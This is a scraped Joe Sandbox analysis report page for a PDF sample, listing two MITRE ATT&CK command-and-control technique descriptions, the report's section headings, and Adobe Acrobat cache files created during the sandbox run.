Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IDR-500000000.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\874e6b73-6ec5-47a7-a9d7-20a42915e323.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240906075346Z-176.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7648

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Windows Analysis Report
IDR-500000000.pdf